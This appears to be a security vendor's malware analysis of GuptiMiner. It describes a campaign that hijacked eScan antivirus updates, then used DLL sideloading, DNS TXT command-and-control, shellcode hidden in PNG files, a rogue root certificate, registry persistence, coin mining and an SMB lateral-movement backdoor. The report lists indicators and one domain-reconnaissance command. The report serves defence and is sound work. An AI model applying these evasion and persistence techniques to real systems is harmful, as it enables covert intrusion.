GuptiMiner has been active since at least 2018. Over the years, the developers behind it have improved the malware significantly, bringing new features to the table. We will describe the specific features in detail in respective subsections.

With that said, we also wanted to illustrate the significant IoCs in a timeline representation, how they changed over time – focusing on mutexes, PDBs, and used domains. These timelines were created based on scanning for the IoCs over a large sample dataset, taking the first and last compilation timestamps of the samples, then forming the intervals. Note that the scanned dataset is larger than listed IoCs in the IoC section. For more detailed list of IoCs, please visit our GitHub.

Domains in Time

In general, GuptiMiner uses the following types of domains during its operations: 

• Malicious DNS – GuptiMiner hosts their own DNS servers for serving true destination domain addresses of C&C servers via DNS TXT responses 
• Requested domains – Domains for which the malware queries the DNS servers for 
• PNG download – Servers for downloading payloads in the form of PNG files. These PNG files are valid images (a logo of T-Mobile) that contain appended shellcodes at their end 
• Config mining pool – GuptiMiner contains two different configurations of mining pools. One is hardcoded directly in the XMRig config which is denoted in this group 
• Modified mining pool – GuptiMiner has the ability to modify the pre-defined mining pools which is denoted in this group 
• Final C&C – Domains that are used in the last backdoor stage of GuptiMiner, providing additional malware capabilities in the backdoored systems 
• Other – Domains serving different purposes, e.g., used in scripts 

Note that as the malware connects to the malicious DNS servers directly, the DNS protocol is completely separated from the DNS network. Thus, no legitimate DNS server will ever see the traffic from this malware. The DNS protocol is used here as a functional equivalent of telnet. Because of this, this technique is not a DNS spoofing since spoofing traditionally happens on the DNS network. 

Furthermore, the fact that the servers for which GuptiMiner asks for in the Requested domain category actually exist is purely a coincidence, or rather a network obfuscation to confuse network monitoring tools and analysts.

From this timeline, it is apparent that authors behind GuptiMiner realize the correct setup of their DNS servers is crucial for the whole chain to work properly. Because of this, we can observe the biggest rotation and shorter timeframes are present in the Malicious DNS group. 

Furthermore, since domains in the Requested domain group are irrelevant (at least from the technical viewpoint), we can notice that the authors are reusing the same domain names for longer periods of time. 

Mutexes in Time 

Mutexes help ensure correct execution flow of a software and malware authors often use these named objects for the same purpose. Since 2018, GuptiMiner has changed its mutexes multiple times. Most significantly, we can notice a change since 2021 where the authors changed the mutexes to reflect the compilation/distribution dates of their new versions. 

An attentive reader can likely observe two takeaways: The first is the apparent outliers in usage of MIVOD_6, SLDV15, SLDV13, and Global\Wed Jun  2 09:43:03 2021. According to our data, these mutexes were truly reused multiple times in different builds, creating larger timeframes than expected. 

Another point is the re-introduction of PROCESS_ mutex near the end of last year. At this time, the authors reintroduced the mutex with the string in UTF-16 encoding, which we noted separately.

PDBs in Time 

With regard to debugging symbols, the authors of GuptiMiner left multiple PDB paths in their binaries. Most of the time, they contain strings like MainWork, Projects, etc. 

Stage 0 – Installation Process 

Intercepting the Updates

Everyone should update their software, right? Usually, the individual either downloads the new version manually from the official vendor’s site, or – preferably – the software itself performs the update automatically without much thought or action from the user. But what happens when someone is able to hijack this automatic process? 

Our investigation started as we began to observe some of our users were receiving unusual responses from otherwise legitimate requests, for example on: 

http://update3[.]mwti[.]net/pub/update/updll3.dlz

This is truly a legitimate URL to download the updll3.dlz file which is, under normal circumstances, a legitimate archive containing the update of the eScan antivirus. However, we started seeing suspicious behavior on some of our clients, originating exactly from URLs like this. 

What we uncovered was that the actors behind GuptiMiner were performing man-in-the-middle (MitM) to download an infected installer on the victim’s PC, instead of the update. Unfortunately, we currently don’t have information on how the MitM was performed. We assume that some kind of pre-infection had to be present on the victim’s device or their network, causing the MitM. 

Update Package

c3122448ae3b21ac2431d8fd523451ff25de7f6e399ff013d6fa6953a7998fa3
(version.dll, 2018-04-19 09:47:41 UTC)

Throughout the analysis, we will try to describe not just the flow of the infection chain, malware techniques, and functionalities of the stages, but we will also focus on different versions, describing how the malware authors developed and changed GuptiMiner over time.

The first GuptiMiner sample that we were able to find was compiled on Tuesday, 2018-04-19 09:47:41 and it was uploaded to VirusTotal the day after from India, followed by an upload from Germany:
c3122448ae3b21ac2431d8fd523451ff25de7f6e399ff013d6fa6953a7998fa3

This file was named C:\Program Files\eScan\VERSION.DLL which points out the target audience is truly eScan users and it comes from an update package downloaded by the AV. 

Even though this version lacked several features present in the newer samples, the installation process is still the same, as follows: 

1. The eScan updater triggers the update 
2. The downloaded package file is replaced with a malicious one on the wire because of a missing HTTPS encryption (MitM is performed) 
3. A malicious package updll62.dlz is downloaded and unpacked by eScan updater 
4. The contents of the package contain a malicious DLL (usually called version.dll) that is sideloaded by eScan. Because of the sideloading, the DLL runs with the same privileges as the source process – eScan – and it is loaded next time eScan runs, usually after a system restart 
5. If a mutex is not present in the system (depends on the version, e.g. Mutex_ONLY_ME_V1), the malware searches for services.exe process and injects its next stage into the first one it can find 
6. Cleanup is performed, removing the update package 

The malicious DLL contains additional functions which are not present in the clean one. Thankfully the names are very verbose, so no analysis was required for most of them. The list of the functions can be seen below.

Some functions, however, are unique. For example, the function X64Call provides Heaven’s gate, i.e., it is a helper function for running x64 code inside a 32-bit process on a 64-bit system. The malware needs this to be able to run the injected shellcode depending on the OS version and thus the bitness of the services.exe process. 

To keep the original eScan functionality intact, the malicious version.dll also needs to handle the original legacy version.dll functionality. This is done by forwarding all the exported functions from the original DLL. When a call of the legacy DLL function is identified, GuptiMiner resolves the original function and calls it afterwards. 

Injected Shellcode in services.exe 

After the shellcode is injected into services.exe, it serves as a loader of the next stage. This is done by reading an embedded PE file in a plaintext form. 

This PE file is loaded by standard means, but additionally, the shellcode also destroys the PE’s DOS header and runs it by calling its entry point, as well as it removes the embedded PE from the original location memory altogether. 

Command Line Manipulation 

Across the entire GuptiMiner infection chain, every shellcode which is loading and injecting PE files also manipulates the command line of the current process. This is done by manipulating the result of GetCommandLineA/W which changes the resulted command line displayed for example in Task Manager. 

After inspecting this functionality, we believe it either doesn’t work as the authors intended or we don’t understand its usage. Long story short, the command line is changed in such a way that everything before the first --parameter is skipped, and this parameter is then appended to the process name. 

To illustrate this, we could take a command:
notepad.exe param1 --XX param2
which will be transformed into:
notepad.exeXX param2 

However, we have not seen a usage like power --shell.exe param1 param2 that would result into:
powershell.exe param1 param2
nor have we seen any concealment of parameters (like usernames and passwords for XMRig), a type of behavior we would anticipate when encountering something like this. In either case, this functionality is obfuscating the command line appearance, which is worth mentioning. An interested reader can play around with the functionality at the awesome godbolt.org here. 

Code Virtualization 

7a1554fe1c504786402d97edecc10c3aa12bd6b7b7b101cfc7a009ae88dd99c6
(version.dll, 2018-06-12 03:30:01) 

Another version with a mutex ONLY_ME_V3 introduced a code virtualization. This can be observed by an additional section in the PE file called .v_lizer. This section was also renamed a few times in later builds.

Thankfully the obfuscation is rather weak, provided the shellcode as well as the embedded PE file are still in the plaintext form. 

Furthermore, the authors started to distinguish between the version.dll stage and the PE file loaded by the shellcode by additional mutex. Previously, both stages used the shared mutex ONLY_ME_Vx, now the sideloading uses MTX_V101 as a mutex.

Stage 0.9 – Installation Improvements

3515113e7127dc41fb34c447f35c143f1b33fd70913034742e44ee7a9dc5cc4c
(2021-03-28 14:41:07 UTC) 

The installation process has undergone multiple improvements over time, and, since it is rather different compared to older variants, we decided to describe it separately as an intermediary Stage 0.9. With these improvements, the authors introduced a usage of scheduled tasks, WMI events, two differently loaded next stages (Stage 1 – PNG loader), turning off Windows Defender, and installing crafted certificates to Windows. 

There are also multiple files dropped at this stage, enabling further sideloading by the malware. These files are clean and serve exclusively for sideloading purposes. The malicious DLLs that are being sideloaded, are two PNG loaders (Stage 1): 

• de48abe380bd84b5dc940743ad6727d0372f602a8871a4a0ae2a53b15e1b1739 *atiadlxx.dll 
• e0dd8af1b70f47374b0714e3b368e20dbcfa45c6fe8f4a2e72314f4cd3ef16ee *BrLogAPI.dll 

WMI Events 

de48abe380bd84b5dc940743ad6727d0372f602a8871a4a0ae2a53b15e1b1739
(atiadlxx.dll, 2021-03-28 14:30:11 UTC) 

At this stage, WMI events are used for loading the first of the PNG loaders. This loader is extracted to a path:
C:\PROGRAMDATA\AMD\CNext\atiadlxx.dll 

Along with it, additional clean files are dropped, and they are used for sideloading, in either of these locations (can be both): 
C:\ProgramData\AMD\CNext\slsnotif.exe 
C:\ProgramData\AMD\CNext\msvcr120.dll
or
C:\Program Files (x86)\AMD\CNext\CCCSlim\slsnotify.exe
C:\Program Files (x86)\AMD\CNext\CCCSlim\msvcr120.dll 

The clean file slsnotify.exe is then registered via WMI event in such a way that it is executed when these conditions are met:

In other words, the sideloading is performed on a workday in either January, July, or November. The numbers represented by %d are randomly selected values. The two possibilities for the hour are exactly two hours apart and fall within the range of 11–16 or 13–18 (inclusive). This conditioning further underlines the longevity of GuptiMiner operations.

Scheduled Tasks

e0dd8af1b70f47374b0714e3b368e20dbcfa45c6fe8f4a2e72314f4cd3ef16ee
(BrLogAPI.dll, 2021-03-28 14:10:27 UTC)

Similarly to the WMI events, GuptiMiner also drops a clean binary for sideloading at this location:
C:\ProgramData\Brother\Brmfl14c\BrRemPnP.exe 

The malicious PNG loader is then placed in one (or both) of these locations:
C:\Program Files (x86)\Brother\Brmfl14c\BrLogAPI.dll
C:\Program Files\Brother\Brmfl14c\BrLogAPI.dll 

The scheduled task is created by invoking a Task Scheduler. The scheduled task has these characteristics: 

• It is created and named as C:\Windows\System32\Tasks\Microsoft\Windows\Brother\Brmfl14c 
• Executes: C:\ProgramData\Brother\Brmfl14c\BrRemPnP.exe 
• The execution is done under a folder containing the to-be-sideloaded DLL, e.g.: C:\Program Files (x86)\Brother\Brmfl14c\ 
• The execution is performed with every boot (TASK_TRIGGER_BOOT) with SYSTEM privileges 

Deploy During Shutdown

3515113e7127dc41fb34c447f35c143f1b33fd70913034742e44ee7a9dc5cc4c
(2021-03-28 14:41:07 UTC)

Let’s now look at how all these files, clean and malicious, are being deployed. One of GuptiMiner’s tricks is that it drops the final payload, containing PNG loader stage, only during the system shutdown process. Thus, this happens at the time other applications are shutting down and potentially not protecting the user anymore.

From the code above, we can observe that only when the SM_SHUTTINGDOWN metric is non-zero, meaning the current session is shutting down, as well as all the supporting clean files were dropped successfully, the final payload DLL is dropped as well. 

An engaged reader could also notice in the code above that the first function that is being called disables Windows Defender. This is done by standard means of modifying registry keys. Only if the Defender is disabled can the malware proceed with the malicious actions. 

Adding Certificates to Windows

Most of the time, GuptiMiner uses self-signed binaries for their malicious activities. However, this time around, the attackers went a step further. In this case, both of the dropped PNG loader DLLs are signed with a custom trusted root anchor certification authority. This means that the signature is inherently untrusted since the attackers’ certification authority cannot be trusted by common verification processes in Windows. 

However, during the malware installation, GuptiMiner also adds a root certificate to Windows’ certificate store making this certification authority trusted. Thus, when such a signed file is executed, it is understood as correctly signed. This is done by using CertCreateCertificateContext, CertOpenStore, and CertAddCertificateContextToStore API functions.

The certificate is present in a plaintext form directly in the GuptiMiner binary file.

During our research, we found three different certificate issuers used during the GuptiMiner operations: 

• GTE Class 3 Certificate Authority 
• VeriSign Class 3 Code Signing 2010 
• DigiCert Assured ID Code Signing CA 

Note that these names are artificial and any resemblance to legitimate certification authorities shall be considered coincidental. 

Storing Payloads in Registry 

8e96d15864ec0cc6d3976d87e9e76e6eeccc23c551b22dcfacb60232773ec049
(upgradeshow.dll, 2023-11-23 16:41:34 UTC) 

At later development stages, authors behind GuptiMiner started to integrate even better persistence of their payloads by storing the payloads in registry keys. Furthermore, the payloads were also encrypted by XOR using a fixed key. This ensures that the payloads look meaningless to the naked eye. 

We’ve discovered these registry key locations to be utilized for storing the payloads so far: 

• SYSTEM\CurrentControlSet\Control\Nls\Sorting\Ids\en-US 
• SYSTEM\CurrentControlSet\Control\PnP\Pci\CardList 
• SYSTEM\CurrentControlSet\Control\Wdf\DMCF 
• SYSTEM\CurrentControlSet\Control\StorVSP\Parsers 

Stage 1 – PNG Loader 

ff884d4c01fccf08a916f1e7168080a2d740a62a774f18e64f377d23923b0297
(2018-04-19 09:45:25 UTC) 

When the entry point of the PE file is executed by the shellcode from Stage 0, the malware first creates a scheduled task to attempt to perform cleanup of the initial infection by removing updll62.dlz archive and version.dll library from the system. 

Furthermore, the PE serves as a dropper for additional stages by contacting an attacker’s malicious DNS server. This is done by sending a DNS request to the attacker’s DNS server, obtaining the TXT record with the response. The TXT response holds an encrypted URL domain of a real C&C server that should be requested for an additional payload. This payload is a valid PNG image file (a T-Mobile logo) which also holds a shellcode appended to its end. The shellcode is afterwards executed by the malware in a separate thread, providing further malware functionality as a next stage.

Note that since the DNS server itself is malicious, the requested domain name doesn’t really matter – or, in a more abstract way of thinking about this functionality, it can be rather viewed as a “password” which is passed to the server, deciding whether the DNS server should or shouldn’t provide the desired TXT answer carrying the instructions. 

As we already mentioned in the Domains timeline section, there are multiple of such “Requested domains” used. In the version referenced here, we can see these two being used: 

• ext.peepzo[.]com 
• crl.peepzo[.]com 

and the malicious DNS server address is in this case: 

• ns1.peepzo[.]com 

Here we can see a captured DNS TXT response using Wireshark. Note that Transaction ID = 0x034b was left unchanged during all the years of GuptiMiner operations. We find this interesting because we would expect this could get easily flagged by firewalls or EDRs in the affected network.

The requests when the malware is performing the queries is done in random intervals. The initial request for the DNS TXT record is performed in the first 20 minutes after the PNG loader is executed. The consecutive requests, which are done for the malware’s update routine, wait up to 69 hours between attempts. 

This update mechanism is reflected by creating separate mutexes with the shellcode version number which is denoted by the first two bytes of the decrypted DNS TXT response (see below for the decryption process). This ensures that no shellcode with the same version is run twice on the system. 

DNS TXT Record Decryption

After the DNS TXT record is received, GuptiMiner decodes the content using base64 and decrypts it with a combination of MD5 used as a key derivation function and the RC2 cipher for the decryption. Note that in the later versions of this malware, the authors improved the decryption process by also using checksums and additional decryption keys. 

For the key derivation function and the decryption process, the authors decided to use standard Windows CryptoAPI functions.

Interestingly, a keen eye can observe an oversight in this initialization process shown above, particularly in the CryptHashData function. The prototype of the CryptHashData API function is:

BOOL CryptHashData(
  [in] HCRYPTHASH hHash,
  [in] const BYTE *pbData,
  [in] DWORD      dwDataLen,
  [in] DWORD      dwFlags
); 

The second argument of this function is a pointer to an array of bytes of a length of dwDataLen. However, this malware provides the string L"POVO@1" in a Unicode (UTF-16) format, represented by the array of bytes *pbData.

Thus, the first six bytes from this array are only db 'P', 0, 'O', 0, 'V', 0 which effectively cuts the key in half and padding it with zeroes. Even though the malware authors changed the decryption key throughout the years, they never fixed this oversight, and it is still present in the latest version of GuptiMiner. 

DNS TXT Record Parsing 

At this point, we would like to demonstrate the decrypted TXT record and how to parse it. In this example, while accessing the attacker’s malicious DNS server ns.srnmicro[.]net and the requested domain spf.microsoft[.]com, the server returned this DNS TXT response: 

VUBw2mOgagCILdD3qWwVMQFPUd0dPHO3MS/CwpL2bVESh9OnF/Pgs6mHPLktvph2

After fully decoding and decrypting this string, we get: 

This result contains multiple fields and can be interpreted as: 

The first two bytes, Version 1 and Version 2, form the PNG shellcode version. It is not clear why there are two such versions since Version 2 is actually never used in the program. Only Version 1 is considered whether to perform the update – i.e., whether to download and load the PNG shellcode or not. In either case, we could look at these numbers as a major version and a minor version, and only the major releases serve as a trigger for the update process.

The third byte is a key size that denotes how many bytes should be read afterwards, forming the key. Furthermore, no additional delimiter is needed between the key and the URL since the key size is known and the URL follows. Finally, the two-byte checksum can be verified by calculating a sum of all the bytes (modulo 0xFF). 

After the DNS TXT record is decoded and decrypted, the malware downloads the next stage, from the provided URL, in the form of a PNG file. This is done by using standard WinINet Windows API, where the User-Agent is set to contain the bitness of the currently running process.

The C&C server uses the User-Agent information for two things: 

• Provides the next stage (a shellcode) in the correct bitness 
• Filters any HTTP request that doesn’t contain this information as a protection mechanism 

Parsing the PNG File 

After the downloaded file is a valid PNG file which also contains a shellcode appended at the end. The image is a T-Mobile logo and has exactly 805 bytes. These bytes are skipped by the malware and the rest of the file, starting at an offset 0x325, is decrypted by RC2 using the key provided in the TXT response (derived using MD5). The reason of using an image as this “prefix” is to further obfuscate the network communication where the payload looks like a legitimate image, likely overlooking the appended malware code. 

After the shellcode is loaded from the position 0x325, it proceeds with loading additional PE loader from memory to unpack next stages using Gzip. 

IP Address Masking

294b73d38b89ce66cfdefa04b1678edf1b74a9b7f50343d9036a5d549ade509a
(2023-11-09 14:19:45 UTC) 

In late 2023, the authors decided to ditch the years-long approach of using DNS TXT records for distributing payloads and they switched to IP address masking instead. 

This new approach consists of a few steps: 

1. Obtain an IP address of a hardcoded server name registered to the attacker by standard means of using gethostbyname API function 
2. For that server, two IP addresses are returned – the first is an IP address which is a masked address, and the second one denotes an available payload version and starts with 23.195. as the first two octets 
3. If the version is newer than the current one, the masked IP address is de-masked and results in a real C&C IP address 
4. The real C&C IP address is used along with a hardcoded constant string (used in a URL path) to download the PNG file containing the shellcode 

The de-masking process is done by XORing each octet of the IP address by 0xA, 0xB, 0xC, 0xD, respectively. The result is then taken, and a hardcoded constant string is added to the URL path. 

As an example, one such server we observed was www.elimpacific[.]net. It was, at the time, returning: 

The address 23.195.101[.]1 denotes a version and if it is greater than the current version, it performs the update by downloading the PNG file with the shellcode. This update is downloaded by requesting a PNG file from the real C&C server whose address is calculated by de-masking the 179.38.204[.]38 address: 

The request is then made, along with the calculated IP address 185.45.192[.]43 and a hardcoded constant elimp. Using a constant like this serves as an additional password, in a sense:
185.45.192[.]43/elimp/ 

When the PNG file is downloaded, the rest of the process is the same as usual. 

We’ve discovered two servers for this functionality so far: 

Anti-VM and Anti-debug Tricks 

294b73d38b89ce66cfdefa04b1678edf1b74a9b7f50343d9036a5d549ade509a
(2023-11-09 14:19:45 UTC) 

Along with other updates described above, we also observed an evolution in using anti-VM and anti-debugging tricks. These are done by checking well known disk drivers, registry keys, and running processes. 

GuptiMiner checks for these disk drivers by enumerating
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Disk\Enum: 

• vmware 
• qemu 
• vbox 
• virtualhd 

Specifically, the malware also checks the registry key HKEY_LOCAL_MACHINE\SOFTWARE\Cylance for the presence of Cylance AV. 

As other anti-VM measures, the malware also checks whether the system has more than 4GB available RAM and at least 4 CPU cores. 

Last but not least, the malware also checks the presence of these processes by their prefixes: 

Storing Images in Registry

6305d66aac77098107e3aa6d85af1c2e3fc2bb1f639e4a9da619c8409104c414
(2023-02-22 14:03:04 UTC) 

Similarly to Storing Payloads in Registry, in later stages of GuptiMiner, the authors also started to save the downloaded PNG images (containing the shellcodes) into registry as well. Contrary to storing the payloads, the images are not additionally XORed since the shellcodes in them are already encrypted using RC2 (see DNS TXT Record Decryption section for details). 

We’ve discovered these registry key locations to be utilized for storing the encrypted images containing the shellcodes so far: 

• SYSTEM\CurrentControlSet\Control\Arbiters\Class 
• SYSTEM\CurrentControlSet\Control\CMF\Class 
• SYSTEM\CurrentControlSet\Control\CMF\CORE 
• SYSTEM\CurrentControlSet\Control\CMF\DEF 
• SYSTEM\CurrentControlSet\Control\CMF\Els 
• SYSTEM\CurrentControlSet\Control\CMF\ASN 
• SYSTEM\CurrentControlSet\Control\MSDTC\BSR 

Stage 2 – Gzip Loader 

357009a70daacfc3379560286a134b89e1874ab930d84edb2d3ba418f7ad6a0b
(2019-04-02 07:30:21 UTC) 

This stage is the shortest, the Gzip loader, which is extracted and executed by the shellcode from the PNG file, is a simple PE that decompresses another shellcode using Gzip and executes it in a separate thread. 

This thread additionally loads Stage 3, which we call Puppeteer, that orchestrates the core functionality of the malware – the cryptocurrency mining as well as, when applicable, deploying backdoors on the infected systems. 

Throughout the GuptiMiner operations, Gzip loader has not been changed with later versions. 

Stage 3 – Puppeteer

364984e8d62eb42fd880755a296bd4a93cc071b9705c1f1b43e4c19dd84adc65
(2019-03-15 10:07:36 UTC) 

Let’s now look at the biggest Stage 3, the Puppeteer. It pulls its strings everywhere across the infected system, manipulating the GuptiMiner components to do its bidding, hence the name we’ve chosen. It orchestrates further actions and deploys two core components of the malware – an XMRig coinminer and two types of backdoors that target devices present in large corporate networks. Of course, Puppeteer also introduces additional tricks to the arsenal of the whole GuptiMiner operation. 

This stage also uses one of the many Global\SLDV mutexes which we described in the Mutex timeline. For example, this particular sample uses SLDV01 as its mutex.

Puppeteer Setup

Puppeteer performs several steps for a proper setup. Firstly, it adds a new power scheme in Windows so the PC does not go to sleep. If the CPU has only one core (anti-VM) or the mutex already exists, the malware ceases to function by going to infinite sleep. 

In the next phase, the malware kills all the processes with a name msiexec.exe, cmstp.exe, or credwiz.exe. After that, it creates a separate thread that injects XMRig into a credwiz.exe process freshly created by the malware. The malware also disables Windows Defender by setting its service start status to disabled. 

For the persistence, Puppeteer chose an interesting approach. Firstly, it creates a scheduled task with the following configuration: 

• A legitimate rundll32.exe file is copied and renamed into C:\ProgramData\Microsoft\Crypto\Escan\dss.exe and this file is executed from the scheduled task 
• The malicious DLL is placed to C:\ProgramData\Microsoft\Crypto\Escan\updll3.dll3 and this file is loaded by dss.exe (exported function ValidateFile) 
• The task is executed with every boot (TASK_TRIGGER_BOOT) and TASK_RUNLEVEL_HIGHEST priority 
• The task is named and located at C:\Windows\system32\tasks\Microsoft\windows\autochk\ESUpgrade 

With that, the malware copies the content of updll3.dll3 into memory and deletes the original file from disk. Puppeteer then waits for a system shutdown (similarly to Stage 0.9) by waiting for SM_SHUTTINGDOWN metric to be set to non-zero value, indicating the shutdown. This is checked every 100 milliseconds. Only when the shutdown of the system is initiated, the malware reintroduces the updll3.dll3 file back onto disk. 

Putting the malicious DLL back just before the system restart is really sneaky but also has potentially negative consequences. If the victim’s device encounters a crash, power outage, or any other kind of unexpected shutdown, the file won’t be restored from memory and Puppeteer will stop working from this point. Perhaps this is the reason why authors actually removed this trick in later versions, trading the sophistication for malware’s stability.

The repetitive loading of updll3.dll3, as seen in the code above, is in fact Puppeteer’s update process. The DLL will ultimately perform steps of requesting a new PNG shellcode from the C&C servers and if it is a new version, the chain will be updated. 

XMRig Deployment 

During the setup, Puppeteer created a separate thread for injecting an XMRig coinminer into credwiz.exe process. Before the injection takes place, however, a few preparation steps are performed. 

The XMRig configuration is present directly in the XMRig binary (standard JSON config) stored in the Puppeteer binary. This configuration can be, however, modified to different values on the fly. In the example below, we can see a dynamic allocation of mining threads depending on the robustness of the infected system’s hardware. 

The injection is standard: the malware creates a new suspended process of credwiz.exe and, if successful, the coinmining is injected and executed by WriteProcessMemory and CreateRemoteThread combo. 

Puppeteer continuously monitors the system for running process, by default every 5 seconds. If it encounters any of the monitoring tools below, the malware kills any existing mining by taking down the whole credwiz.exe process as well as it applies a progressive sleep, postponing another re-injection attempt by additional 5 hours. 

• taskmgr.exe 
• autoruns.exe 
• wireshark.exe 
• wireshark-gtk.exe 
• tcpview.exe 

Furthermore, the malware needs to locate the current updll3.dll3 on the system so its latest version can be stored in memory, removed from disk, and dropped just before another system restart. Two approaches are used to achieve this: 

• Reading eScan folder location from HKEY_LOCAL_MACHINE\SOFTWARE\AVC3 
• If one of the checked processes is called download.exe, which is a legitimate eScan binary, it obtains the file location to discover the folder. The output can look like this: 
  • \Device\HarddiskVolume1\Program Files (x86)\eScan\download.exe 

The check for download.exe serves as an alternative for locating eScan installation folder and the code seems heavily inspired by the example code of Obtaining a File Name From a File handle on MSDN. 

Finally, Puppeteer also continuously monitors the CPU usage on the system and tweaks the core allocation in such a way it is not that much resource heavy and stays under the radar. 

Backdoor Setup

4dfd082eee771b7801b2ddcea9680457f76d4888c64bb0b45d4ea616f0a47f21
(2019-06-29 03:38:24 UTC) 

The backdoor is set up by the previous stage, Puppeteer, by first discovering whether the machine is operating on a Windows Server or not. This is done by checking a DNS Server registry key (DNS Server service is typically running on a Windows Server edition):
SOFTWARE\Microsoft\Windows NT\CurrentVersion\DNS Server 

After that, the malware runs a command to check and get a number of computers joined in a domain:
net group “domain computers” /domain

The data printed by the net group command typically uses 25 characters per domain joined computer plus a newline (CR+LF) per every three computers, which can be illustrated by the example below: 

In this version of the backdoor setup, Puppeteer checks whether the number of returned bytes is more than 100. If so, Puppeteer assumes it runs in a network shared with at least five computers and downloads additional payloads from a hardcoded C&C (https://m.airequipment[.]net/gpse/) and executes it using PowerShell command. 

Note that the threshold for the number of returned bytes was different and significantly higher in later versions of GuptiMiner, as can be seen in a dedicated section discussing Modular Backdoor, resulting in compromising only those networks which had more than 7000 computers joined in the same domain! 

If the checks above pass, Puppeteer uses a PowerShell command for downloading and executing the payload and, interestingly, it is run both in the current process as well as injected in explorer.exe. 

Furthermore, regardless of whether the infected computer is present in a network of a certain size or not, it tries to download additional payload from dl.sneakerhost[.]com/u as well. This payload is yet another PNG file with the appended shellcode. We know this because the code uses the exact same parsing from the specific offset 0x325 of the PNG file as described in Stage 1. However, during our analysis, this domain was already taken down and we couldn’t verify what kind of payload was being distributed here. 

The Puppeteer’s backdoor setup process was improved and tweaked multiple times during its long development. In the upcoming subsections, we will focus on more important changes, mostly those which influence other parts of the malware or present a whole new functionality. 

Later Puppeteer Versions 

In later versions, the attackers switched to the datetime mutex paradigm (as illustrated in Mutexes in Time section) and also introduced additional process monitoring of more Sysinternals tools like Process explorer, Process monitor, as well as other tools like OllyDbg, WinDbg, and TeamViewer. 

Pool Configuration

487624b44b43dacb45fd93d03e25c9f6d919eaa6f01e365bb71897a385919ddd
(2023-11-21 18:05:43 UTC) 

Additionally, the GuptiMiner authors also started to modify pool addresses in XMRig configurations with a new approach. They started using subdomains by “r” and “m” depending on the available physical memory on the infected system. If there is at least 3 GB of RAM available, the malware uses:
m.domain.tld with auto mode and enabled huge pages.

If the available RAM is lesser than 3 GB, it uses:
r.domain.tld with light mode and disabled huge pages.

In order to not keep things simple, the authors later also started to use “p” as a subdomain in some versions, without any specific reason for the naming convention (perhaps just to say it is a “pool”). 

The usage of all such domains in time can be seen in the Domains timeline. 

Variety in Used DLLs 

Puppeteer used many different names and locations of DLLs over the years for sideloading or directly loading using scheduled tasks. For example, these might be: 

• C:\Program Files (x86)\eScan\updll3.dll3 
• C:\Program Files\Common Files\SYSTEM\SysResetErr\SysResetErr.DLL 
• C:\Program Files\Microsoft SQL Server\SpellChecking\MsSpellChecking.DLL 
• C:\Program Files\Microsoft SQL Server\SpellChecking\MsSpellCheckingHost.DLL 
• C:\ProgramData\AMD\CNext\atiadlxx.dll 
• C:\ProgramData\Microsoft\Assistance\LunarG\vulkan-1.dll 
• C:\ProgramData\Microsoft\Crypto\Escan\updll3.dll 
• C:\ProgramData\Microsoft\Crypto\Escan\updll3.dll3 
• C:\ProgramData\Microsoft\Network\Escan\AutoWake.dll 

Puppeteer Cleanup 

1c31d06cbdf961867ec788288b74bee0db7f07a75ae06d45d30355c0bc7b09fe
(2020-03-09 00:57:11 UTC)

We’ve also seen “cleaner” Puppeteers, meaning they didn’t contain the setup process for backdoors, but they were able to delete the malicious DLLs from the system when a running monitoring tool was detected. 

Deploy Per-Quarter 

1fbc562b08637a111464ba182cd22b1286a185f7cfba143505b99b07313c97a4
(2021-03-01 10:43:27 UTC) 

In this particular version, the deployment of the backdoor was performed once every 3 months, indicating a per-quarter deployment.

Stage 4 – Backdoor 

Since no one who puts such an effort into a malware campaign deploys just coinminers on the infected devices, let’s dig deeper into additional sets of GuptiMiner’s functionalities – deploying two types of backdoors on the infected devices.

PuTTY Backdoor 

07beca60c0a50520b8dbc0b8cc2d56614dd48fef0466f846a0a03afbfc42349d
(2021-03-01 10:31:33 UTC)
E:\Projects\putty-src\windows\VS2012\x64\Release\plink.pdb

One of the backdoors deployed by GuptiMiner is based on a custom build of PuTTY Link (plink). This build contains an enhancement for local SMB network scanning, and it ultimately enables lateral movement over the network to potentially exploit Windows 7 and Windows Server 2008 machines by tunneling SMB traffic through the victim’s infected device. 

Local SMB Scanning 

First, the plink binary is injected into netsh.exe process by Puppeteer with the Deploy per-quarter approach. After a successful injection, the malware discovers local IP ranges by reading the IP tables from the victim’s device, adding those into local and global IP range lists. 

With that, the malware continues with the local SMB scanning over the obtained IP ranges: xx.yy.zz.1-254. When a device supporting SMB is discovered, it is saved in a dedicated list. The same goes with IPs that don’t support SMB, effectively deny listing them from future actions. This deny list is saved in specific registry subkeys named Sem and Init, in this location:
HKEY_LOCAL_MACHINE \SYSTEM\CurrentControlSet\Control\CMF\Class
where Init contains the found IP addresses and Sem contains their total count. 

There are conditions taking place when such a scan is performed. For example, the scan can happen only when it is a day in the week (!), per-quarter deployment, and only at times between 12 PM and 18 PM. Here, we denoted by (!) a unique coding artefact in the condition, since checking the day of the week is not necessary (always true). 

Finally, the malware also creates a new registry key HKEY_LOCAL_MACHINE\SYSTEM\RNG\FFFF three hours after a successful scan. This serves as a flag that the scanning should be finished, and no more scanning is needed. 

An even more interesting datetime-related bug can be seen in a conditioning of RNG\FFFF registry removal. The removal is done to indicate that the malware can perform another SMB scan after a certain period of time. 

As we can see in the figure below, the malware obtains the write time of the registry key and the current system time by SystemTimeToVariantTime API function and subtracts those. The subtraction result is a floating-point number where the integral part means number of days. 

Furthermore, the malware uses a constant 60*60*60*24=5184000 seconds (60 days) in the condition for the registry key removal. However, the condition is comparing VariantTime (days) with seconds. Thus, the backdoor can activate every 51.84 days instead of the (intended?) 60 days. A true blessing in disguise. 

Lateral Movement Over SMB Traffic 

After the local SMB scan is finished, the malware checks from the received SMB packet results whether any of the IP addresses that responded are running Windows 7 or Windows Server 2008. If any such a system is found on the local network, the malware adds these IP addresses to a list of potential targets. 

Furthermore, GuptiMiner executes the main() legacy function from plink with artificial parameters. This will create a tunnel on the port 445 between the attacker’s server gesucht[.]net and the victim’s device. 

This tunnel is used for sending SMB traffic through the victim’s device to the IP addresses from the target list, enabling lateral movement over the local network. 

Note that this version of Puppeteer, deploying this backdoor, is from 2021. We also mentioned that only Windows 7 and Windows Server 2008 are targeted, which are rather old. We think this might be because the attackers try to deploy an exploit for possible vulnerabilities on these old systems. 

To orchestrate the SMB communication, the backdoor hand-crafts SMB packets on the fly by modifying TID and UID fields to reflect previous SMB communication. As shown in the decompiled code below, the SMB packet 4, which is crafted and sent by the malware, contains both TID and UID from the responses of the local network device. 

